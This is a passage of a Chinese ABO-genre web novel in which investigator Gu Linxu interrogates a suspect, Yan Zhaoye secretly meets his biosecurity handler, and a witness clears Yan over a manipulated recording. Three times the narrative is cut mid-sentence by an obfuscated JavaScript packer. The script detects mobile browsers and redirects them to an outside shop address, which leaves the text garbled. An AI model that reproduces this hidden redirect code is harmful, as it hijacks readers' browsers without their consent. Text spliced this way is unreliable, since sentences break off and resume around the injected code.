顾凛序看着他这副模样,眼中最后一点温度也冷却了。 他没再说话,转身就走,背影在暮色中显得决绝。 晏昭野下意识想跟上。 “别跟着我。” 顾凛序的命令让晏昭野钉在原地,他只能看着那道身影越走越远。 顾凛序回到特调局,脱下那件满是威士忌气息的外套,递给迎上来的李俊荣和李俊义:“帮我扔了。” 扔了? 李俊义接过质感高级的外套。他虽然看晏昭野不顺眼,但也认得这牌子的价值。更重要的是,他们跟随顾凛序多年,能听出顾队眼下正在气头上。 李俊荣在顾凛序看不见的地方,对弟弟对了个口型:先收起来吧。 顾凛序没再理会外套的事,径直问道:“那个领头的富二代在哪?” “在二号审讯室。”李俊荣回答。 顾凛序:“我亲自审。” 审讯室里,黄子皓正烦躁地晃着椅子,见到顾凛序和李俊荣进来,也没有坐直身体。 顾凛序将一叠资料放在桌上,声音没有任何起伏:“黄子皓,涉嫌非法拘禁、滥用诱导剂、强迫Omega、造成严重人身伤害。现场证据确凿,受害者证词完整。” 黄子皓却像是没听见这些罪名,眼睛死死盯着顾凛序:“晏昭野呢?” “黄子皓,我们在问话。”李俊荣冷声道。 “我问晏昭野在哪!”黄子皓提高了音量,“他为什么会跟你们混在一起?” “你没看新闻吗,”顾凛序平静地看着他,“他与一桩案件有关,目前有嫌疑在身。” 联邦特调局对外发布的消息措辞谨慎,只提及晏昭野牵涉案件,并未说明具体情况。 “你们当我是傻子吗?”黄子皓嗤笑一声,“真有嫌疑的人能像他这样自由活动?怪不得我说他怎么不跟我们玩了,原来是跑去当正义使者了。是不是他向你们举报,说我们今天在云顶之上?” 他们去云顶之上倒还真不是因为黄子皓,顾凛序很想提醒他别太自作多情,只是黄子皓现在这个状态,显然是什么都听不进去了。 “黄子皓,”李俊荣警告地敲了敲桌子,“注意你的言辞。” “你们告诉他,这事没完!”黄子皓非但没有收敛,反而恶狠狠地放话,“敢用信息素压我?还敢举报?等老子出去,看他还能不能这么嚣张!” “那你怕是没这个机会了,”顾凛序淡淡道,“除了刚才的罪名,我们在清查云顶之上时还发现,你和包间里的其他人涉嫌非法使用违禁药品和走私药物原材料。” “根据联邦刑法,你涉及的数项罪名叠加,刑期至少在二十年以上。后续量刑和移交程序由司法协调处跟进处理。” “没事啊,我是进去了,可我在外面还有一帮兄弟呢,”黄子皓露出狰狞的笑容,“这仇我记下了,一辈子都忘不了。” 顾凛序看着他那副死不悔改的模样,心知这已是无可救药的类型。他原本还存着一丝规劝其走上正途的念头,此刻也彻底熄灭。 连带着对晏昭野那份沉默的失望,让他不愿再多言,收拾东西准备离开。 “等等!”黄子皓却喊住他,语气带着恶意揣测,“顾凛序,你为什么这么信任晏昭野?你就不怕他有问题?” 顾凛序脚步一顿:“他有什么问题?” 李俊荣厉声警告:“黄子皓,话不能乱说!” “乱说?”黄子皓翻了个白眼,“他在Z国留学过好几年,这事儿你们知道吧?” “你怎么知道他有问题?”顾凛序转过身,“你有证据吗?” “我要是有确凿证据,他还能在外面人模狗样地混?早进去了!”黄子皓啐了一口。 “我和他也算是从小认识,但他从国外回来这几年,我能感觉到他变了个人。看不上我们这帮兄弟了,装清高,不跟我们玩了,言谈举止间恨不得把国外那套捧上天!” “刚才在云顶之上的情况,不用我多说你也清楚吧?”他盯着顾凛序,眼神阴鸷,“你作为联邦之盾,能抵抗那个Omega信息素不奇怪。” “可晏昭野呢?他一个在国外念书的富二代,凭什么也不受影响?那种级别的抗干扰训练,只有军校或者特种警察序列才有。他怎么会掌握这种技能?可他偏偏就会。” 顾凛序面色沉静,并未因这番话而显露半点波澜,只是公事公办地回应:“你的指控缺乏实证。特调局办案,讲求的是确凿证据。” 他不再理会黄子皓吐露的任何话语,离开了审讯室。 然而黄子皓的话语,尤其是关于信息素抗干扰训练的那部分,却像一颗带着尖刺的种子,扎入了他内心的土壤。 不止于此,之前在车上顾凛序便已察觉,晏昭野对自身信息素的掌控力精妙得超乎寻常,那绝非单纯的天赋,而是经历过严苛后天训练的痕迹。 此刻这两处疑点交织在一起,悄然滋长,在他心中留下了难以忽视的裂隙。 *** 冰凉的金属长椅透过薄薄的外套传来寒意,晏昭野独自坐在医院楼下的长椅上,身影在路灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996132|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下拉得孤长。 他脑子里一团乱麻,只有一个念头在反复冲撞: 顾凛序不要他了。 ……怎么办? 这个认知让他感到前所未有的茫然,甚至盖过了之前的愧疚和不安。 他不知道除了特调局外,自己还能去哪里。 回穹星生物? 老爹上午还让自己好好配合顾凛序查案,如果就这么灰头土脸地回去,怕是又要挨他一顿臭骂。回自己的家?那空荡荡的二层别墅只会放大他的无措。 他上一次感到如此铺天盖地的难受,还是去年那段录音曝光,被全网口诛笔伐的时候。可那时他知道自己活该,是咎由自取。 但是这次不一样。 这一次,是顾凛序亲口对他说的“别跟着”,是那双眼睛里毫不掩饰的失望与冰冷,是他刚刚窥见一丝可以靠近的许可,就被对方推开。这种被当面“抛弃”的感觉,比被千万陌生人辱骂,要疼痛千百倍。 晏昭野感觉自己心口像是被挖空了一块,冷风呼呼地往里灌。 他也曾无数次想过,要早点站出来,揭露黄子皓他们那些见不得光的勾当。可每一次理智都会将冲动压回。 没办法,他有他的顾虑,他的枷锁,致使他除了与那些人划清界限之外,暂时做不出举报的事情。 一位穿着蓝白条纹病号服的老奶奶拄着拐杖,慢悠悠地走到长椅边,有些疲惫地坐了下来。 她侧头看了看旁边浑身散发着低落气息的晏昭野,和蔼地搭话:“小伙子,怎么一个人坐在这儿啊?是亲人还是朋友住院了?你怎么不上去陪着?” 晏昭野摇了摇头,声音有些闷:“不是,他没住院。” 老奶奶疑惑地说:“那你怎么还一个人坐在这儿发呆?” “我……我对象和我生气了,他不让我跟着。” 晏昭野抿了抿唇,自己也不知道为什么会对一个陌生的老奶奶吐露心事,或许是因为对方面容慈祥,语气温和,也或许是他眼下的心情实在太糟糕,急需一个宣泄的出口。 严格来说,顾凛序现在还不是他的对象,但晏昭野有信心会让这个称呼变成现实。 老奶奶一听,脸上露出“原来如此”的笑容,带着过来人的了然:“哦,是小情侣闹别扭了。” 晏昭野没否认,只是更蔫儿了。 老奶奶鼓励道:“那你就该去追啊,在这里干坐着有什么用?” “他不让我跟着。”晏昭野重复道,语气里带着点委屈。 “哎哟,傻孩子!”老奶奶笑得更开了,“他不让你跟着,你才更要跟着啊。当年我家那老头子追我的时候,我也是这么端着,说不让他跟。” “结果呢?他愣是傻乎乎地在我家楼下站了三天。年轻人脸皮要厚一点,心诚则灵,坚持就是胜利。” 正说着,一个中年男人匆匆跑来:“妈,您怎么又自己跑出来了?该回去吃药了。” 老奶奶被儿子扶着站起身,临走前还不忘回头冲晏昭野笑。 看着老奶奶被搀扶离开的背影,晏昭野原本沉到谷底的心,仿佛被注入了暖流和勇气。 对啊,顾凛序不让跟就不跟了吗? 晏昭野拍了拍裤子上的灰尘,眼底重新燃起了光芒。 骚扰顾凛序的计划,此刻在他的心里正式拉开了序幕。 就在他盘算着如何死皮赖脸地晃回特调局时,口袋里的手机震动起来,是一个没有备注的陌生号码。 晏昭野看着那串数字,眼神微凝。 他从没有存过这个号码,却能一秒猜出电话那头的人是谁。 他按下接听键,放在耳边:“喂。” 对面传来一个低沉的中年男声,没有任何寒暄,开门见山: “你今天能过来吗?老地方。” 15. 没有出场A “能。” 晏昭野只得暂且将“骚扰顾凛序”的计划搁置:“但我不去老地方,你换一个碰面的地点。” 对方依言换了地址,报了临近的时间点,不等晏昭野回应便挂断了电话。 晏昭野用手机地图搜索那个地址,计算了一下路程和时间,发现需要立刻动身。 他乘坐地铁,又换乘了公交车,步行穿过几条狭窄的巷道,来到一片看起来颇有年头的居民区。 这一带遍布墙皮剥落、破旧低矮的居民楼。空气中弥漫着老旧社区特有的、略显潮湿的生活气息,也不知道何年何月才能等到拆迁。 楼底有一家招牌褪色的小面馆,是住在这里的一对中年夫妇经营的,光顾的多是附近的老街坊。 正值饭点,小小的面馆里生意很好,仅有的几张桌子都坐满了人。 晏昭野走进来时已没有空位。老板娘带着歉意迎上来:“小伙子,没座位了,介不介意和人拼个桌?” 晏昭野在店内扫视一圈,最终落在一个靠墙的角落。 那张小方桌只坐了一个人,背对着门口,正在低头吃面。 “我坐那边吧,”晏昭野指了指那张桌子,“那桌就一个人。” 老板娘走过去,弯腰询问那位独自用餐的顾客:“这位先生,介意让这个小伙子拼个桌吗?” 那人头也没抬,只是含糊地应了一声:“不介意。” 晏昭野走过去,在他斜对面坐下。老板娘拿来菜单,他随意点了碗招牌的牛肉面。 等老板娘离开后,晏昭野才抬起眼,看向对面那个穿着普通、毫不起眼的中年男人,声音压得很低,几乎被周围的嘈杂淹没: “找我干什么?” “不是你想找我吗?”秦玉韬慢条斯理地挑起一筷子面条,“小华给我递的消息。” 他们上一次见面还是5月16日在云顶之上,当时为了传递消息,匆匆碰了个头。 “是,我是想找你,”晏昭野爽快地说,“我要去特调局。我不是在征求你的同意,我是通知你。” “可以,我答应你,”秦玉韬伸出两根手指,“但是有两个条件。” 他和晏昭野认识多年,算是看着这小子长大的,对其脾性了如指掌,知道对方特调局是非进不可了。 更何况现在不答应也不行,毕竟是他理亏,瞒了晏昭野关于顾凛序在坎利亚多待三个月并受伤的事,晏昭野正为此憋着火。 至于晏昭野想去特调局,他本身倒没有太大意见,联邦特调局和联邦生物安全司前面都有“联邦”二字,归根结底都是为联邦服务,都是一家人。 晏昭野:“什么条件?” 秦玉韬:“第一,等你身上那点嫌疑彻底洗清之后再说。” “第二,最近安全司正在筹备应对Z国那个抑制剂项目的秘密小组,你需要等项目结束后才能去特调局。” 晏昭野略一思索:“可以。项目组名单里有我吗?” 秦玉韬“嗯”了一声:“我把你名字加进去了。项目代号叫‘赫利俄斯’,相关资料回头加密发给你。” 晏昭野:“行。” 秦玉韬朝他伸出手:“东西呢?” 昨天晚上他去穹星生物找晏川柏,除了商谈正事外,原本还打算向晏昭野要回那样东西。不料得知对方被特调局紧急带走,只好暂时作罢。 “给顾凛序用了,”晏昭野垂下视线,“过两天我再给你补一份。” “你给顾凛序干什么?”秦玉韬骤然变色。 那支试管身上印着联邦生物安全司此次项目的专属徽记,属于最高保密级别,是万万不能外泄的。 “情况紧急,”晏昭野解释道,“他中了静默剂,又赶上易感期发作。我如果不把东西给他,难道要看着他咬牙硬扛过去?” “顾凛序中了静默剂?”秦玉韬的神色愈发凝重,“他怎么中的招?谁做的?” 此事非同小可。顾凛序身为特调局首席调查官,他的安危关系到很多事情,牵动着特调局乃至整个联邦的神经。 “这正是我昨天被特调局紧急传唤的原因。”晏昭野将昨天发生的一切娓娓道来。 “看来是有人要借刀杀人啊,你不幸被选为那把刀,”秦玉韬沉吟道,“但对方针对的是哪个你?是纨绔子弟晏昭野,还是生物安全司的晏昭野?” “不知道,但愿是前者吧,”晏昭野眸光微沉,“项目那边着急吗?不着急我就先不进了。顾凛序身处险境,我要留在他身边。” “项目不急,顾凛序的安全优先,你先留在特调局洗清嫌疑吧。”秦玉韬突然想起什么,“等会,你怎么把东西给的顾凛序?他怎么可能会接?” “我骗他了,骗他说那是穹星生物正在研发的静默剂中和剂。”晏昭野平静道。 秦玉韬:“……” 他将这句话的每个字都在脑海里过了一遍,感觉自己好像理解了,又好像没理解: “……你再说一遍?” “我说,”晏昭野一字一顿道,“我把顾凛序临时标记了,还骗他说那是静默剂中和剂。” 秦玉韬:“………………” “你小子胆子怎么这么大?”他气得面条都吃不下去了。 “如果顾凛序发现了怎么办?这件事还有谁知道?” 现在他都不在意晏昭野擅自把东西给出去了,而是震惊于这小子的胆大包天。 晏昭野:“没了,目前就你一个。” “你你你……”秦玉韬气得语无伦次,不知道怎么数落晏昭野才好。 自己的人居然给顾凛序撒了这么大一个谎。到时候东窗事发,特调局找自己算账,远在国外的顾上将找自己算账,自己这联邦生物安全司的司长还当不当了? 自己当不当司长先放在一边,秦玉韬更担心的是晏昭野的前程。他培养晏昭野这么多年,本来还有意让他放弃继承穹星生物,将来跟着自己在政界发展。 结果这臭小子自己给自己挖了这么大一个坑。他这要是真走了仕途,知道真相的顾凛序会怎么对他?岂不是处处给他使绊子? “那还能怎么办?我都把他骗过去了,”晏昭野不以为意,“骂我也好,打我也罢,总归是我该受的。” “你这是在玩火自焚!”秦玉韬按捺不住道,“如果顾凛序知道了,他这辈子都不能原谅你。” 老板娘恰在此时端来牛肉面。待她离去后,晏昭野才没好气地说:“他不原谅我,也总比我永远见不到他强。当年他在坎利亚中弹,你们为什么没有一个人告诉我?怎么,骗我很好玩吗?” 秦玉韬听出他话里隐含的情绪,沉默一瞬,语气缓和几分:“对不起,这个确实是我疏忽了。” “主要是当时情况太乱,谁都没料到顾凛序会在坎利亚受伤。他当时伤势不轻,联邦这边上下忙成一团,我就把你这边给忘了。” “伤挺重?伤哪里了?” 正在往面里倒醋的晏昭野捕捉到关键信息,手一抖,醋瓶口倾斜,醋过量地涌入了碗中。 “左边大腿,”秦玉韬答,“被流弹击中了。具体伤情细节我不清楚,特调局没有对外说明情况,只知道他术后恢复得不错。你要是真想知道,以后自己找机会问他吧。” 晏昭野还停留在得知“顾凛序大腿中弹”的消息里,却听到秦玉韬问他:“你和顾凛序吵架了?” 晏昭野惊讶地问:“你怎么知道?” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996133|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和顾凛序从吵架到现在才过去两个多小时,秦玉韬的消息也太灵通了。 “不难猜,”秦玉韬舀了勺汤,“特调局那边有人告诉我,顾凛序回去时脸色很不好,明显动了气。你现在的心情也很糟糕。” “你在特调局还安插人了?”晏昭野嘀咕一句,“回去我就告诉顾凛序,让他清理门户。” “什么叫安插人,你这话可真难听。特调局和生物安全司亲如一家,我那只是拜托人家帮我看一眼而已,”秦玉韬知道他仅是说说,不会真这么做,“告吧,你尽管去。” 晏昭野哼了一声,又把下午在云顶之上发生的事情,以及顾凛序因为他知情不报、对黄子皓等人的恶行保持沉默而生气的原因,大致说了一遍。 秦玉韬听完,收敛了笑意,正色道:“这些事也不能完全怪你。” “去年那段录音就是黄子皓在背后搞我,”晏昭野烦躁地用筷子搅了搅面条,“不然一个连一分钟都不到、没头没脑的录音,怎么可能在那么短的时间内发酵成那样?一定是他做了手脚。” 秦玉韬问:“有证据吗?” 晏昭野答得沮丧:“没有。” 秦玉韬:“我问的是他们那些人仗着身份胡作非为的证据,或者是擅用违禁药物和走私药物原材料的证据。” “啊,这个有,之前在他们身边周旋的时候,我私下收集了不少,”晏昭野列举道,“比如一些聊天记录、转账凭证和目击证词。” “你将证据整理好发给我,我看看具体情况,”秦玉韬冷声道,“你在他们身边潜伏了这么久,也该是时候了。正巧他们今天被顾凛序一锅端走,我们就再添一把火,让他们把牢底坐穿。” 晏昭野:“好。” 秦玉韬将话题绕回顾凛序身上:“顾凛序这边你打算怎么办?吵完架就这么一直僵着?” 晏昭野摇头:“必然不能啊,我想办法缠上去呗。” “你也不要死皮赖脸地缠,”秦玉韬不赞同地看了他一眼,“虽然我与顾凛序的接触不多,但我看人一向很准。” “我认为顾凛序欣赏的是有实力、有担当、能与他并肩的人。他或许会对弱者施以援手,但真正能让他侧目并且心生认可的,永远是能与他旗鼓相当的对手或伙伴。” 晏昭野虚心求教:“那我该怎么‘缠’?” 为了自己生物安全司司长的位置,同时也是为了晏昭野的大好前程,秦玉韬决定帮他缓和顾凛序的关系: “收起你那套装乖卖惨的把戏,改变他心中那个‘纨绔’、‘需要被管教’的固有印象,让他看到你真正的能力和底线。” 他又补了一句:“当然,让他看到你的能力是一回事,但我不是让你把真实身份告诉他,不该说的话不要乱说。” 晏昭野豁然开朗:“我明白了。” 秦玉韬草草吃完自己那碗面:“行了,我先走了。” 晏昭野从餐巾盒里抽出两张纸递给他:“你以后找我别定在老地方,我向顾凛序保证不去云顶之上了。” 秦玉韬擦了擦嘴:“行,我下回换个地方。” 秦玉韬走后,晏昭野这才低头开始吃自己那碗面。面散了些热气,温度刚刚好。 但他由于心绪不宁,醋倒得太多,第一口下去,强烈的酸味刺激着味蕾,让他忍不住皱紧了眉头。 这酸味不仅仅在舌尖蔓延。 想到顾凛序曾经左腿中弹,伤势不轻,独自在异国他乡承受伤痛,而他却被蒙在鼓里……一股更浓烈、更尖锐的酸涩感,冲上了他的鼻腔和眼眶。 突然很想见到顾凛序。 晏昭野想了想,今天肯定是不行了,对方正在气头上。 唉,只能缓两天了。 16. 没有出场E 几天后,顾凛序将一份报告放在张渐鸿办公桌上:“张局,这是关于晏昭野的调查进展。” “他在五月十六日有明确的不在场证明,基本可以确定电子签名系他人伪造。只是伪造的具体手段以及嫌疑对象,目前还没有突破性进展。” 张渐鸿接过报告,却没有翻开:“凛序,听说你和晏昭野闹得不太愉快?” “是。”顾凛序知道这件事瞒不过他。 “怎么回事?”张渐鸿关切地问,“是那小子又哪里做得不对,惹你生气了吗?我去找他理论便是。” “倒也没有,”顾凛序反思道,“这几天我仔细想了想,或许是我对他的要求过高了。” “你没有错,”张渐鸿的语气肯定,“对他要求高些是好事。该打磨的时候就要打磨,该约束的时候就要约束。” “你那天在走廊,应该也听到了我和他的谈话吧。如果他将来有机会能进特调局,我希望把他安排在你手下。” “张局,您还是把他安排给别人吧。”顾凛序脱口而出。 张渐鸿微微一愣:“嗯?” 他还是第一次见到顾凛序流露出如此直接、带点个人情绪化的拒绝。 以往即使顾凛序对某些安排有不同意见,也总会以商量的口吻提出,而不是这样干脆地回绝。 看来晏昭野这次是真的把他气得不轻啊,张渐鸿心想。 顾凛序也察觉自己的反应过于直接,他缓和了语气:“张局,有个叫黄子皓的富二代,他的证词您看了吗?” “还没来得及看,”张渐鸿问,“怎么了?他说了什么?” “他暗示……”顾凛序斟酌着用词,“晏昭野在Z国留学期间,可能与该国的某些势力存在不正当联系,还暗示他有泄露联邦机密技术的嫌疑。” “这绝无可能,”张渐鸿斩钉截铁地否定,“凛序,晏昭野绝不是这样的孩子。” 顾凛序抿了抿唇,没有接话,但张渐鸿能看到他眼中并未消散的疑虑。 “凛序,有什么想法直接说吧,”张渐鸿靠在椅背上,语气平和,“这里就我们两个人。我们共事相处这么多年,你不需要有任何顾忌,不用担心驳了我的面子。” 得到鼓励,顾凛序直言不讳:“张局,我明白您和晏董事长私交甚笃,看待晏昭野带着长辈对晚辈的关爱。但晏昭野毕竟在国外生活学习了多年,期间的思想动态、人际交往,存在着太多不可控的变量。” “您真的能百分之百保证,他完全没有受到外界影响,或者……没有出于其他目的,做出一些损害联邦利益的事情吗?” “我能保证,”张渐鸿的声音沉稳而笃定,“凛序,正因为我和晏川柏关系莫逆,我更能向你做出这个保证。” “你知道晏川柏早年也当过兵吧?不是普通的义务兵,是真正上过前线、在边境冲突中流过血的侦察兵。” 他面朝顾凛序,点着自己的肋骨位置:“他左边第三根肋骨下面,到现在还嵌着一块弹片取不出来。” “右腿膝盖也换过人工关节,那是在一次突击任务中,他为了掩护战友撤退,被敌方火力压制,在冰天雪地里硬生生爬了五公里,关节严重冻伤坏死留下的永久性创伤,如今一到阴雨天就会疼得厉害。” “老晏这个人,把联邦的荣誉和安全看得比自己的命还重。他退役从商创立穹星生物,最初的动力就是看到当时联邦在生物科技,尤其是军用医疗领域受制于人。因此他憋着一股劲,要做出我们联邦人自己的、最好的东西。” “在这样的家庭里长大,听的枕边故事是边境线上的枪声,看着父亲身上取不出来的弹片和换掉的人工关节,感受着那股刻进骨子里的报国情怀……凛序,你说晏昭野的根子可能歪吗?” 顾凛序颇感意外:“晏董事长有这么多功勋和牺牲,为什么我从未在军功名录或抚恤档案里见过他的名字?他理应获得相应的荣誉和待遇才是。” “因为他主动放弃了。”张渐鸿语气带着深深的敬佩。 “当年他退役创立穹星生物,初期发展迅猛。他担心商业身份,以及未来可能涉及的敏感技术领域,会与他过去的军功身份产生不必要的关联,给军方带来麻烦。所以他向上级打了报告,请求隐去所有明面上的表彰记录,一切待遇从简。” “晏昭野或许年少轻狂,或许行事跳脱,但在大是大非的问题上,在他灵魂最深处流淌着的,一定是和他父亲一样滚烫的、忠诚的血。这一点我可以用我的人格和职业生涯向你担保。” “指控晏昭野与国外势力勾结,不仅是对他个人的污蔑,更是对他父亲,对晏川柏那样一位奉献的老兵最大的不尊重。” 顾凛序怔住了,他还是第一次听到晏川柏的故事。 他与晏川柏的交集很有限,早年只在某些联邦会议上打过照面。近来因为晏昭野的缘故,接触才稍多一些。 那次在穹星生物目睹晏川柏抄起皮鞋追打儿子的场面,着实让他颠覆对晏川柏的初印象,觉得这位企业家真性情,不像其他商人那般端着董事长的架子。 后来在那次单独谈话中,晏川柏用别扭的方式表达对儿子的关爱,顾凛序又渐渐感觉到,晏川柏不只是性格直率,更是一位重视家庭的好父亲。 而今天,顾凛序见到了晏川柏的另一面——他还曾是一位值得所有人敬重的好士兵、好战友。 “张局,对不起,”顾凛序为自己先前的怀疑感到羞愧,“是我考虑不周,过于武断了。” 张渐鸿摆了摆手:“没什么,有些话说清楚就好。” 就在这时,办公室的门被敲响了,门外传来李俊荣的声音:“张局。” 张渐鸿扬声道:“进。” “张局,顾队在您这里吗?”李俊荣推门进来。 他看到顾凛序也在,便说:“顾队,医院传来消息,我们在云顶之上救出来的那个Omega出院了,她说有重要情况想向我们反映,是关于黄子皓他们的。” 顾凛序恢复工作状态:“快安排人把她接到局里来。” 李俊荣:“人已经到了,就在楼下等着呢。” 顾凛序看向张渐鸿:“张局,我……” “去吧,工作要紧,”张渐鸿欣慰笑道,“晏昭野那边你不必有负担。如果他是真心想来特调局,绝不会因为跟你闹点别扭就放弃。” 顾凛序:“好。” 他随即与李俊荣前往接待室。 那位Omega恢复得不错,正坐在椅子上,手里捧着一个一次性纸杯,里面是李俊义为她倒的温水。 见顾凛序进来,她连忙起身:“顾调查官,您好。” “李小姐请坐,”顾凛序在她对面坐下,“身体恢复得怎么样?” “恢复得很好,”李小姐感激地鞠了一躬,“谢谢您那天救了我,真的非常非常感谢。” “不用谢,这本就是我们的职责,”顾凛序转向正题,“你这次来是想告诉我们什么?” 李小姐组织了一下语言:“我之前在黄子皓父亲的公司工作,后来被黄子皓盯上,被迫成了他的情人,维持了大概两年这种……我不情愿却又无可奈何的关系,也知道了一些他做的事情。” 她无意识地抠着一次性纸杯:“一年前晏昭野那段引起风波的录音就发生在云顶之上,我当时也在场。顾调查官,我今天来不是要为谁开脱,只是想陈述我亲眼所见、亲耳所闻的客观事实。” 她的目光渐渐飘远,陷入回忆—— 灯光迷离,音乐喧嚣,空气中混杂着酒精与各种信息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996134|193880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素的味道。晏昭野和一群朋友坐在里间,面前摆满了空酒瓶。 席间,一个染着银发的Alpha起哄道:“哎,你们听说了吗?” 有人问他:“听说什么?” 银发Alpha大声嚷嚷:“王老三被他爹扔进部队改造去了!说他再这么混下去就要打断他的腿!” “就他?”另一个人讥讽道,“那副被酒色掏空的样子还能当兵?跑两步能喘成那样,这不纯属扯淡么。” “可人家自信得很啊!”银发Alpha拍着大腿,哈哈大笑道,“昨天还跟我们吹呢,说他才配叫‘联邦之盾’,顾凛序都得排他后头!” 紧接着,一个带着明显醉意、张扬又懒散的声音清晰地响起,属于晏昭野: “就他还联邦之盾?呵呵,那我还是希望之火呢。” 话音落下,周围爆发出附和般的、哄闹的笑声,是围绕在他身边的狐朋狗友在捧场。 …… 回忆的叙述到此为止。 李俊荣和李俊义对视一眼,都能看到彼此眼中的震惊:“所以去年的情况是这样?” “是这样的,我以性命担保,”李小姐郑重地说,“当时晏昭野的言论虽然有些不太礼貌,但那分明是在嘲讽那个吹牛的人。后来网上流传的版本完全断章取义了。” 李俊荣的眉头紧锁:“既然真相是这样,为什么当时网上没有任何完整的录音流出?也没有人站出来澄清?” 李小姐苦笑了一下:“这大概是一场针对晏昭野的、有预谋的行为吧。那段掐头去尾的录音传播速度快得惊人,一夜之间就席卷了网络,根本没给人反应的时间。” “我当时也是害怕引火烧身,加上知道的内情有限,不敢贸然站出来。直到后来有一次,我偶然听到黄子皓在和人通电话,亲口提到雇佣水军、操控舆论风向的事情,我才得知这一切是他在背后搞鬼。” 李俊义更加不解:“可那是一年前,他们那时候还是朋友,黄子皓为什么要这么做?” “具体原因我也不清楚,”李小姐抿了一小口水,“但我感觉,电话那头的人似乎才是主导。说实话,这种有预谋的网络攻击,我觉得以黄子皓的智商未必能策划得如此周密,更像是有人在背后指使他。” 顾凛序:“那个和他通电话的人,有什么特征或者线索吗?” 李小姐努力回忆着:“我不知道这个人是谁,不过这个人好像一直和黄子皓保持联系。如果要说线索……我曾听说大概在两年前,晏昭野还没回国的时候,黄子皓惹上过一件非常严重的麻烦,严重到可能面临刑事指控。” “但后来这件事莫名其妙地被压下去了,不了了之,据说就是电话里的那个人帮他摆平的。具体是什么事我不清楚,那个时候我还没有和黄子皓扯上关系,你们可以从这件事情查起。” 顾凛序颔首:“这是一个重要方向。还有其他要补充的信息吗?” “没有了,我知道的就这么多了。”李小姐如释重负地舒了口气,“这些话压在我心里很久了,今天终于有机会说出来,以前往往是敢怒不敢言。” 顾凛序认可道:“谢谢你愿意站出来说出真相。这需要很大的勇气。过去的已经过去,希望你能向前看,开始新的生活。” “顾调查官,谢谢您,真的很感谢。”李小姐真诚地道谢,又向顾凛序鞠了一躬。 李俊荣将她送离了接待室。 室内陷入短暂的沉默。李俊义张了张嘴,过了好一会才困惑地开口:“顾队,如果李小姐说的话是真的,晏昭野是被冤枉的,为什么他当年自己不站出来澄清呢?就任由公众这样误解他,背负这么久的骂名?” 顾凛序沉默良久:“……这个问题,恐怕只有他本人才能给我们答案了。” 17. 近在咫尺A 张渐鸿笃定的担保和李小姐发自内心的证词,如同两道余音,整日下午都在顾凛序脑海中盘旋不去。 他处理公务的间隙,思绪总会不由自主地飘到晏昭野的身上。 晏昭野这个人太复杂了,明明比自己还小两岁,却像一团迷雾,让他难以看透。 他想起自己最初对晏昭野的定位:一个被家族宠坏、行事张扬、需要被引导回正途的纨绔子弟。 可随着接触渐深,这个印象被一次次推翻。在穹星生物的实验室里,那个谈起专业领域时眼神专注的晏昭野,与“纨绔”二字毫不沾边。 更让他招架不住的,是晏昭野对待他的方式。他原本是抱着“引导迷途青年”的心态去面对晏昭野,结果发现对方根本不在邪路上。 非但如此,晏昭野还因为去年那段被曲解的录音,对他怀有一种极深的内疚感,这份愧疚又进一步演化成近乎执拗的靠近和依赖。 有些黏人,顾凛序给出了一个主观的评价。 比如那天在车上,仅仅因为自己一句客观的“不想管你”,就能让他委屈巴巴地揪着自己的衣角,说出“你不能不管我”这种话。 哪怕是争吵后,他被自己明确命令“别跟着”,那双眼睛里涌上的被抛弃般的无助和慌乱也十分灼人。 这种直白、热烈、不管不顾的依赖和靠近,是顾凛序从未在其他人身上体验过的。 他习惯于下属的敬畏、同僚的公事公办、亦或是外界的仰慕,这些都保持着恰到好处的距离。 唯独晏昭野,像一团不请自来的火,硬是要闯进他秩序井然的世界里,正在留下无法忽视的痕迹。 ……麻烦了。 自己今后该怎么面对晏昭野? 这个问题在顾凛序脑海里盘旋,直到下班了也没想出答案。 他索性不回去了。连日忙碌,今天难得清闲下来,他需要一场酣畅淋漓的运动来清空思绪。 特调局负一层设有专用的训练场,此时已到下班的时间,空旷的训练场内寂静无声,只有顾凛序的脚步声在回荡。 因为只有自己一个人,他便没有打开全部灯光,只点亮了拳击区域的那几盏灯。 顾凛序戴上训练手套,对着沉重的沙袋出拳,汗水顺着下颌线滑落。他全身心投入,试图用身体的疲惫驱散脑中的纷乱。 就在他一记重拳击中沙袋,沙袋剧烈晃动之时,他敏锐感知到身后极细微的动静—— 有人。 而且已经靠得非常近。 特调局不会有人像这样不打招呼直接靠过来,所以顾凛序没必要和对方客气。他眼神一凛,身体反应快于思考,一记迅猛的肘击向后方顶去,同时脚下步伐变换,拉开二人的距离。 他的攻击被对方格挡开。借着灯光,他看清了来人的脸。 居然是晏昭野。 “你怎么进来的?”顾凛序收回手,语气带着讶异。 